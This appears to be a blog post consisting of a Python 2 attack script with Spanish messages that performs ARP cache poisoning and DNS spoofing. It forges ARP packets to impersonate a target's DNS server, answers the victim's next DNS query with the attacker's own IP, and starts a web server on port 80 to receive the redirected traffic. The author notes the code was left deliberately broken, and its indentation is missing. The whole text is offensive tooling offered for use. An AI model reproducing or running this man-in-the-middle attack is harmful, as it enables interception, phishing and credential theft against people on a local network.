#!/usr/bin/python

from twisted.internet import reactor
from twisted.web import static, server
import sys
import os
from scapy import *
import socket
import fcntl
import struct
import commands


if os.getuid()!=0:
print "Necesitas uid 0 Para ejecutar este Script!"
sys.exit(1)
if len(sys.argv) != 4:
print "Uso: ./xianur0.py [DNS Server] [Victima] [Interface]"
sys.exit(1)

def getip(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915,
struct.pack('256s', ifname[:15])
)[20:24])

def getmac(iface):
ifconfig = '/sbin/ifconfig'
telltale = 'HWaddr '
cmd = '%s %s' % (ifconfig, iface)
output = commands.getoutput(cmd)

inet = output.find(telltale)
if inet >= 0:
start = inet + len(telltale)
end = output.find(' ', start)
addr = output[start:end]
else:
print 'No Se pudo Extraer el Mac de esta interface!'
sys.exit(1)
return addr
dns_server = sys.argv[1]
target_ip = sys.argv[2]
conf.iface = sys.argv[3]
tu_ip = getip(conf.iface)
tu_mac = getmac(conf.iface)


def constructor():
try:
if os.fork() > 0: os._exit(0)
except OSError, error:
print 'Error Fork: %d (%s)' % (error.errno, error.strerror)
os._exit(1)
os.chdir('/')
os.setsid()
os.umask(0)
try:
pid = os.fork()
if pid > 0:
print 'Servidor Web Iniciado: PID %d' % pid
sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/
ARP(pdst=target_ip,psrc=dns_server,hwsrc=tu_mac),iface=conf.iface)
pck = sniff(filter='port 53',iface=conf.iface,count=1)
ip = pck[0].getlayer(IP)
dns = pck[0].getlayer(DNS)
response = IP(dst=ip.src,src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)
response /= DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,ttl=10,rdata=tu_ip))
response.display()
send(response)
os._exit(0)
except OSError, error:
print 'Error Fork: %d (%s)' % (error.errno, error.strerror)
os._exit(1)
servidor()

def servidor():
twisted_html_server = static.File( './' )
reactor.listenTCP(80, server.Site(twisted_html_server))
reactor.run()

if __name__ == '__main__':

constructor()

Nota: Editen el codigo para que funcione correctamente, no permito scriptkiddies jeje ;)..

0 comentarios: